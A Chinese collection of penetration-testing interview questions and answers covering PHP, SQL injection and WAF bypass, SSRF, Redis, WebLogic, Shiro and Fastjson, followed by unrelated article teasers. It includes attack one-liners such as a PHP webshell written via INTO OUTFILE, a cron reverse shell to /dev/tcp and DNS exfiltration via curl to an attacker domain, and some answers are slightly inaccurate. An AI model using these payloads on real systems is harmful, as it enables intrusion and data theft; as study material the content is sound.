2025年渗透测试面试题总结-拷打题库36(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

2025年渗透测试面试题总结-拷打题库36

PHP代码常见入口函数查找

PHP框架路由方法熟悉度

PHP变量覆盖漏洞

文件包含漏洞防御

远程文件包含(RFI)与本地文件包含(LFI)的PHP设置差异

本地文件包含路径限制(PHP配置)

防止二次注入

最熟悉的三种Web漏洞类型

SQL注入过滤单引号绕过

MySQL报错注入常用函数

报错注入绕WAF

MySQL写文件函数

INTO OUTFILE使用限制

SQL Server其他渗透方式

SSRF可用的伪协议

Redis RCE过程

Redis未授权获取权限

/etc/passwd文件内容

二次注入修复方法

SQL注入过WAF(过滤information关键词)

命令执行漏洞HTTP不出网处理

高难度渗透测试案例

SYN开放端口扫描原理

Shiro绕WAF方法

WebLogic遭遇WAF拦截的后续操作

JBoss反序列化原理

WebLogic反序列化漏洞(CVE-2017-10271)

Fastjson漏洞检测

Fastjson漏洞回显判断

Fastjson高版本无回显绕过

2025年渗透测试面试题总结-拷打题库36

php代码常见入口函数怎么找
有一些php的开发框架可以帮我们做一些url路由,对这些路由的方法熟悉吗
介绍下PHP的变量覆盖
有一个php的程序,本身就允许文件包含的操作,同时想要避免文件包含漏洞,写代码的时候要注意哪些
远程文件包含和本地文件包含,这两种涉及的php设置有什么
本地文件包含能不能通过php配置限制文件包含的路径(不通过代码直接通过配置项来解决)
写代码的时候怎么防止二次注入
讲一下最熟悉的三种web漏洞类型,原理,测试方式
SQL注入过滤单引号怎么绕过
mysql报错注入常用的函数
报错注入绕waf
mysql写文件的函数有哪些
into outfile使用有哪些限制
sqlserver除了sql注入外还有什么渗透的方式
ssrf可以使用的伪协议
有了解过Redis RCE的过程吗
Redis未授权如何获得服务器权限
/etc/passwd文件包含哪些内容
二次注入要怎么修复
sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过
命令执行漏洞,http不出网有什么比较好的处理方法(发散一点说)
介绍一次难度比较高的渗透测试
syn开放链接原理
shiro 如何绕 waf
weblogic 如果在打站的时候,一旦遇到了 waf,第一个 payload 发过去,直接被拦截了, ip 也被 ban 了,如何进行下一步操作
jboss 反序列化原理
weblogic 反序列化原理,随便说一个漏洞,然后说触发原理
fastjson 怎么判断是不是有漏洞,原理是什么
fastjson 判断漏洞回显是怎么判断的,是用 dns 做回显还是其他的协议做,为什么
fastjson 高版本,无回显的情况,如何进行绕过,为什么可以这样绕过

PHP代码常见入口函数查找

  1. 入口文件定位
    • 默认入口index.phpadmin.php 等常见入口文件,通常包含路由分发逻辑。
    • 框架入口:如Laravel的public/index.php ,ThinkPHP的index.php
    • 路由配置:检查.htaccessweb.config 中的URL重写规则,确定请求如何映射到PHP脚本。
  2. 全局函数追踪
    • 超全局变量$_GET$_POST$_REQUEST的参数接收点。
    • 框架路由方法:如Laravel的Route::get(),ThinkPHP的$this->display()
  3. 危险函数触发点
    • 文件包含includerequire的参数是否可控。
    • 动态代码执行eval()call_user_func()的调用链分析。

PHP框架路由方法熟悉度

  1. 路由定义方式
    • 静态路由:如Route::get('/user', 'UserController@index')
    • 动态路由/user/{id},参数通过控制器方法接收。
    • 闭包路由:匿名函数处理请求,需检查闭包内的逻辑安全。
  2. 路由解析漏洞
    • ThinkPHP 5.x RCE:路由参数未过滤导致代码执行(如s=/index/\think\app/invokefunction)。
    • Laravel路由注入:动态路由参数未验证导致路径遍历。
  3. 安全配置检查
    • 中间件防护:验证身份验证中间件(如auth)是否覆盖敏感路由。
    • CSRF保护:检查路由是否豁免CSRF验证(如VerifyCsrfToken白名单)。

PHP变量覆盖漏洞

  1. 漏洞原理
    • extract()函数:从数组导入变量到符号表,若参数可控可覆盖全局变量。
    • parse_str()函数:解析查询字符串到变量,未初始化变量可被覆盖。
    • **变量动态赋值**:如`foreach($_GET as $key => $value) { key = $value; }`。
  2. 利用场景
    • 覆盖配置变量:如$is_admin = 0被覆盖为1,绕过权限检查。
    • 绕过认证逻辑:修改$_SESSION$_COOKIE中的用户标识。
  3. 修复方案
    • 禁用危险函数:避免使用extract(),改用明确变量赋值。
    • 初始化变量:使用前对变量赋默认值,如$is_admin = isset($_POST['admin']) ? 0 : 1

文件包含漏洞防御

  1. 代码层防御
    • 白名单限制:仅允许包含指定目录文件(如include './lib/' . $file . '.php')。
    • 动态参数过滤:检查文件名是否包含../或协议(如php://)。
  2. 配置层防御
    • 禁用高危协议php.ini 中设置allow_url_include=Off
    • 限制包含路径open_basedir设置为项目目录,阻止跨目录访问。
  3. 逻辑层防御
    • 文件后缀固定:拼接固定后缀(如.php),避免包含非PHP文件。
    • 文件存在性验证:包含前检查文件是否存在(如file_exists())。

远程文件包含(RFI)与本地文件包含(LFI)的PHP设置差异

  1. RFI相关配置
    • allow_url_fopen:控制是否允许打开远程文件(默认On)。
    • allow_url_include:控制是否允许包含远程文件(默认Off)。
  2. LFI相关配置
    • open_basedir:限制文件操作范围,但可能被绕过(如/proc/self/environ)。
    • disable_functions:禁用realpath()等函数,防止路径解析绕过。
  3. 协议影响
    • RFI协议http://ftp://allow_url_include开启。
    • LFI协议file://php://filteropen_basedir限制。

本地文件包含路径限制(PHP配置)

  1. open_basedir
    • 作用:限制PHP可访问的目录(如open_basedir=/var/www/html)。
    • 绕过:利用/proc/self/cwd/proc/self/fd访问其他目录。
  2. disable_functions
    • 禁用函数:如realpath()symlink(),防止符号链接攻击。
  3. 目录权限
    • 文件所有权:确保Web用户(如www-data)无权访问敏感目录(如/etc)。

防止二次注入

  1. 输入过滤
    • 统一转义:使用预处理语句或参数化查询,而非手动转义。
    • 数据类型强制:如intval()处理数字型参数。
  2. 存储层防御
    • 数据存储规范化:入库前统一转义,出库时保持原始数据。
    • ORM框架:使用Eloquent或Doctrine,自动处理参数绑定。
  3. 代码审计
    • 追踪数据流:检查数据从存储到输出的全流程是否一致转义。
    • 自动化测试:通过SQLMap的--second-order参数测试二次注入点。

最熟悉的三种Web漏洞类型

  1. SQL注入
    • 原理:用户输入拼接至SQL语句,导致恶意查询执行。
    • 测试' OR 1=1--测试布尔盲注,SLEEP(5)测试时间盲注。
    • 防御:预编译语句(PDO)、输入过滤(如preg_replace)。
  2. XSS(跨站脚本)
    • 原理:用户输入未转义输出到HTML,导致脚本执行。
    • 测试<script>alert(1)</script>测试反射型XSS。
    • 防御:输出转义(htmlspecialchars)、CSP策略。
  3. 文件上传漏洞
    • 原理:未校验文件类型/内容,上传恶意文件(如.php)。
    • 测试:上传.php文件,尝试绕过MIME类型检查。
    • 防御:白名单后缀、文件内容检测(如exif_imagetype())。

SQL注入过滤单引号绕过

  1. 编码绕过
    • URL编码%27代替单引号,%2527双重编码绕过。
    • 十六进制编码0x27表示单引号(如SELECT * FROM users WHERE id=0x27)。
  2. 宽字节注入
    • 原理:GBK编码中%df%27转为合法字符,绕过转义('�')。
    • 利用id=1%df%27 AND 1=1--
  3. 二次注入
    • 场景:入库时转义,出库时拼接导致单引号生效。
    • 测试:注册用户名为admin'--,后续查询触发注入。

MySQL报错注入常用函数

  1. updatexml()
    • 用法updatexml(1,concat(0x7e,(SELECT user())),1),利用XPath错误回显数据。
  2. extractvalue()
    • 用法extractvalue(1,concat(0x7e,(SELECT database()))),原理类似updatexml
  3. floor()
    • 用法:通过COUNT()GROUP BY触发主键重复错误(如SELECT COUNT(*),CONCAT((SELECT user()),0x7e,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x)。

报错注入绕WAF

  1. 函数替换
    • 替代函数:用exp()代替updatexml()(如exp(~(SELECT * FROM (SELECT user())a)))。
  2. 分块传输
    • HTTP分块:将请求拆分为多个块,绕过WAF正则检测。
  3. 注释混淆
    • 内联注释/*!50000SELECT*/绕过黑名单过滤。

MySQL写文件函数

  1. INTO OUTFILE
    • 用法SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/shell.php'
  2. DUMPFILE
    • 特点:写入二进制文件(如图片、二进制后门)。
  3. SELECT ... INTO变量
    • 限制:需secure_file_priv为空,且MySQL有写权限。

INTO OUTFILE使用限制

  1. 权限限制
    • MySQL用户权限:需具备FILE权限,且secure_file_privNULL
  2. 路径限制
    • secure_file_priv:若设置为/tmp,则只能写入该目录。
  3. 文件覆盖
    • 文件存在性:若目标文件已存在,写入会失败。

SQL Server其他渗透方式

  1. xp_cmdshell
    • 利用:启用并执行系统命令(如EXEC xp_cmdshell 'whoami')。
  2. 链接服务器攻击
    • 横向移动:通过OPENROWSET访问其他数据库服务器。
  3. CLR集成
    • 自定义程序集:加载恶意.NET程序执行系统命令。

SSRF可用的伪协议

  1. file://
    • 利用:读取本地文件(如file:///etc/passwd)。
  2. dict://
    • 利用:探测端口服务(如dict://127.0.0.1:6379/info)。
  3. gopher://
    • 利用:构造HTTP请求攻击内网服务(如Redis未授权访问)。

Redis RCE过程

  1. 写入SSH公钥
    • 步骤:通过config set dir设置目录,set写入公钥到authorized_keys
  2. Web目录写Shell
    • 步骤:设置目录为Web根路径,写入PHP后门。
  3. 主从复制利用
    • 步骤:伪造恶意Redis主节点,同步恶意模块(如.so文件)。

Redis未授权获取权限

  1. 信息泄露
    • 执行命令INFO获取服务器信息,KEYS *遍历数据库键。
  2. 写定时任务
    • 步骤config set dir /var/spool/cron,写入*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1
  3. Lua沙箱绕过
    • 利用CVE:如CVE-2022-0543(Debian特定漏洞)执行系统命令。

/etc/passwd文件内容

  1. 用户账户信息
    • 格式username:x:UID:GID:description:/home/dir:/bin/bash
  2. 特殊用户
    • root:UID=0,拥有最高权限。
    • 服务账户:如mysqlwww-data,无登录Shell。

二次注入修复方法

  1. 数据存储规范化
    • 转义存储:入库时对特殊字符转义(如addslashes())。
  2. 输出上下文转义
    • 动态转义:根据输出位置(HTML、SQL、JSON)使用不同转义方法。
  3. ORM框架使用
    • 参数化查询:避免手动拼接SQL,如使用Eloquent的where()方法。

SQL注入过WAF(过滤information关键词)

  1. 大小写混淆
    • 绕过InFoRmaTiOn_schema.tables
  2. 注释分割
    • 绕过infoorrmation/**/_schema
  3. 等价替换
    • 替代表:使用mysql.innodb_table_stats 代替information_schema

命令执行漏洞HTTP不出网处理

  1. DNS外带数据
    • 利用curl http://$(whoami).attacker.com
  2. ICMP隧道
    • 工具:使用icmpshping -p携带数据。
  3. 日志写入
    • 步骤:将命令结果写入Web日志,通过访问日志读取。

高难度渗透测试案例

  1. 目标环境
    • 场景:某金融系统,具备WAF、IDS、多因素认证。
  2. 突破路径
    • 钓鱼攻击:伪造登录页窃取OTP,绕过多因素认证。
    • WAF绕过:分块传输+注释混淆绕过SQL注入检测。
  3. 内网横向
    • 利用漏洞:通过Exchange SSRF(CVE-2021-26855)进入内网。

SYN开放端口扫描原理

  1. 三次握手
    • SYN扫描:发送SYN包,若收到SYN-ACK则认为端口开放,不完成握手(RST终止)。
  2. 隐蔽性
    • 无连接记录:半开放扫描不建立完整连接,日志中不易被发现。
  3. 工具实现
    • Nmap命令nmap -sS 192.168.1.1

Shiro绕WAF方法

  1. 密钥爆破
    • 原理:Shiro硬编码密钥,使用已知密钥生成恶意RememberMe Cookie。
  2. 加密模式绕过
    • AES-CBC:利用Padding Oracle攻击解密或加密恶意序列化数据。
  3. 流量混淆
    • HTTP头伪装:将Cookie拆分到多个头字段,绕过正则匹配。

WebLogic遭遇WAF拦截的后续操作

  1. 流量分析
    • 捕获特征:分析WAF拦截规则(如User-Agent、Payload长度)。
  2. 协议转换
    • HTTP/HTTPS切换:尝试HTTPS绕过明文检测。
  3. 延迟与分块
    • 慢速攻击:降低发包速率,绕过频率检测。
    • 分块传输:拆解Payload为多个块,绕过正则匹配。

JBoss反序列化原理

  1. JMXInvokerServlet
    • 漏洞点:未授权访问/invoker/JMXInvokerServlet,接收序列化数据。
  2. 利用链
    • 库依赖org.jboss.invocation.MarshalledValue 触发Gadget链。
  3. 修复方案
    • 删除Servlet:移除invoker目录或配置访问控制。

WebLogic反序列化漏洞(CVE-2017-10271)

  1. 漏洞原理
    • XML解析wls-wsat组件接收恶意XML数据,触发WorkContext反序列化。
  2. 利用链
    • Gadget链:利用com.sun.rowset.JdbcRowSetImpl 触发JNDI注入。
  3. 防御措施
    • 删除组件:移除wls-wsat相关文件,或限制访问IP。

Fastjson漏洞检测

  1. 版本识别
    • 响应头特征X-Serialized-Json头或异常错误信息。
  2. DNS探测
    • Payload{"@type":"java.net.Inet4Address","val":"dnslog.cn"}
  3. 报错回显
    • 触发异常:构造不存在的类名,观察是否暴露类路径信息。

Fastjson漏洞回显判断

  1. DNSLog
    • 原理:利用JNDI加载远程类触发DNS查询(如ldap://dnslog.cn/exp )。
  2. HTTP请求
    • 回显:通过java.net.URL 类发起HTTP请求携带数据。
  3. 延迟检测
    • 时间盲注:构造Thread.sleep() 判断是否存在漏洞。

Fastjson高版本无回显绕过

  1. 内存马注入
    • 利用链:结合Tomcat Filter/Servlet注入内存Shell。
  2. 本地文件写入
    • 写Web目录:通过java.io.FileWriter 写入JSP后门。
  3. 异步线程加载
    • 延迟触发:利用java.util.TimerTask 延迟执行恶意代码绕过检测。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/79448.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

STL之vector容器

vector的介绍 1.vector是可变大小数组的容器 2.像数组一样&#xff0c;采用连续的空间存储&#xff0c;也就意味着可以通过下标去访问&#xff0c;但它的大小可以动态改变 3.每次的插入都要开空间吗&#xff1f;开空间就要意味着先开临时空间&#xff0c;然后在拷贝旧的到新…

[学成在线]22-自动部署项目

自动部署 实战流程 下边使用jenkins实现CI/CD的流程。 1、将代码使用Git托管 2、在jenkins创建任务&#xff0c;从Git拉取代码。 3、拉取代码后进行自动构建&#xff1a;测试、打包、部署。 首先将代码打成镜像包上传到docker私服。 自动创建容器、启动容器。 4、当有代…

74HC123的电路应用场景

74HC123的电路应用场景 **1. 引脚功能示例****2. 核心功能****&#xff08;1&#xff09;单稳态触发器****&#xff08;2&#xff09;双独立通道****&#xff08;3&#xff09;灵活触发方式** **3. 工作原理****4. 典型应用场景****&#xff08;1&#xff09;定时与延时控制***…

【人工智能】大模型安全的深度剖析:DeepSeek漏洞分析与防护实践

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 随着大语言模型(LLM)的广泛应用,其安全性问题日益凸显。DeepSeek作为中国领先的开源AI模型,以低成本和高性能著称,但近期暴露的数据库…

《ESP32音频开发实战:I2S协议解析与WAV音频录制/播放全指南》

前言 在智能硬件和物联网应用中&#xff0c;音频处理能力正成为越来越重要的功能——无论是语音交互、环境音采集&#xff0c;还是音乐播放&#xff0c;都离不开高效的音频数据传输与处理。而I2S&#xff08;Inter-IC Sound&#xff09;作为专为音频设计的通信协议&#xff0c…

大数据实时数仓的数据质量监控解决方案

实时数仓不仅仅是传统数据仓库的升级版,它更强调数据的实时性、流动性和高可用性,通过对海量数据的即时处理和分析,为企业提供近乎实时的洞察力。这种能力在金融、零售、制造、互联网等行业中尤为关键,例如,电商平台可以通过实时数仓监控用户行为,动态调整推荐算法;金融…

56认知干货:智能化产业

如果在不久的未来,一座高楼大厦的建设,只需将图纸输入系统,无数台机器人就能精准协作完成任务; 电影节的主角不再是人类,动漫与影视作品将不再需要人类创作; 当播种和收获的工作无人参与,所有过程都能自动化进行; 这将预示着我们将迎来一个智能化社会,在这个社会中,…

使用synchronized关键字同步Java线程

问题 在Java多线程编程中&#xff0c;你需要保护某些数据&#xff0c;防止多个线程同时访问导致数据不一致或程序错误。 解决方案 在需要保护的方法或代码段上使用synchronized关键字。 讨论 synchronized关键字是Java提供的同步机制&#xff0c;用于确保在同一时刻只有一…

MATLAB基于格拉姆角场与2DCNN-BiGRU的轴承故障诊断模型

本博客来源于CSDN机器鱼&#xff0c;未同意任何人转载。 更多内容&#xff0c;欢迎点击本专栏目录&#xff0c;查看更多内容。 目录 0 引言 1 格拉姆角场原理 2 2DCNN-BiGRU网络结构 3 应用实例 3.1 数据准备 3.2 格拉姆角场数据提取 3.3 网络模型搭建-重中之重 3.4 …

电气设备器件选型参数---断路器

断路器 一、基本电气参数 额定电压&#xff08;Ue&#xff09; 必须≥系统最高工作电压&#xff08;如380V、660V等&#xff09;。 注意直流/交流系统的区别&#xff0c;直流断路器需专门设计。 额定电流&#xff08;In&#xff09; 根据负载的持续工作电流选择&#xff0c;…

Linux常用命令30——groupadd创建新的用户组

在使用Linux或macOS日常开发中&#xff0c;熟悉一些基本的命令有助于提高工作效率&#xff0c;groupadd命令的功能是创建新的用户组。每个用户在创建时都有一个与其同名的基本组&#xff0c;后期可以使用groupadd命令创建出新的用户组信息&#xff0c;让多个用户加入指定的扩展…

微信小程序 自定义组件 标签管理

环境 小程序环境&#xff1a; 微信开发者工具&#xff1a;RC 1.06.2503281 win32-x64 基础运行库&#xff1a;3.8.1 概述 基础功能 标签增删改查&#xff1a;支持添加/删除单个标签、批量删除、重置默认标签 数据展示&#xff1a;通过对话框展示结构化数据并支持复制 动…

wpf CommandParameter 传递MouseWheelEventArgs参数 ,用 MvvmLight 实现

在 WPF 中使用 MVVM Light 框架传递 MouseWheelEventArgs 参数至 CommandParameter,可通过以下步骤实现: ‌1. XAML 中配置事件绑定‌ 在控件上通过 EventToCommand 绑定鼠标滚轮事件,并启用 PassEventArgsToCommand 属性以传递事件参数: <!-- 命名空间声明 --> x…

vmware diffy配置ollama 本机ip无法访问

防火墙直接关闭 本地测试&#xff0c;给它直接关了 ollama配置 vim /etc/systemd/system/ollama.service这是的配置 [Unit] DescriptionOllama Service Afternetwork-online.target[Service] Environment"OLLAMA_HOST0.0.0.0:11434" #Environment"OLLAMA_OR…

React--》掌握react构建拖拽交互的技巧

在这篇文章中将深入探讨如何使用react-dnd&#xff0c;从基础的拖拽操作到更复杂的自定义功能带你一步步走向实现流畅、可控且用户友好的拖拽体验,无论你是刚接触拖拽功能的初学者还是想要精细化拖拽交互的经验开发者&#xff0c;都能从中找到适合自己的灵感和解决方案。 目录 …

数据结构与算法:回溯

回溯 先给出一些leetcode算法题&#xff0c;以后遇见了相关题目再往上增加 主要参考代码随想录 2.1、组合问题 关于去重&#xff1a;两种写法的性能分析 需要注意的是&#xff1a;使用set去重的版本相对于used数组的版本效率都要低很多&#xff0c;大家在leetcode上提交&#x…

iview 分页改变每页条数时请求两次问题

问题 在iview page分页的时候&#xff0c;修改每页条数时&#xff0c;会发出两次请求。 iview 版本是4.0.0 原因 iview 的分页在调用on-page-size-change之前会调用on-Change。默认会先调用on-Change回到第一页&#xff0c;再调用on-page-size-change改变分页显示数量 此时就会…

一周学会Pandas2 Python数据处理与分析-Pandas2复杂数据查询操作

锋哥原创的Pandas2 Python数据处理与分析 视频教程&#xff1a; 2025版 Pandas2 Python数据处理与分析 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 前面我们学了.loc[]等几个简单的数据筛选操作&#xff0c;但实际业务需求往 往需要按照一定的条件甚至复杂的组合条件…

【Vue bug】:deep()失效

vue 组件中使用了 element-plus 组件 <template><el-dialog:model-value"visible":title"title":width"width px":before-close"onClose"><div class"container" :style"{height:height px}"&g…

Trae 安装第三方插件支持本地部署的大语言模型

Trae 安装第三方插件支持本地部署的大语言模型 0. 引言1. 安装插件 0. 引言 字节发布的 Trae IDE 一直不支持本地部署的的大语言模型。 Qwen3 刚刚发布&#xff0c;想在 Trae 中使用本地部署的 Qwen3&#xff0c;我们可以在 Trae 中安装其他插件。 1. 安装插件 我们可以安装…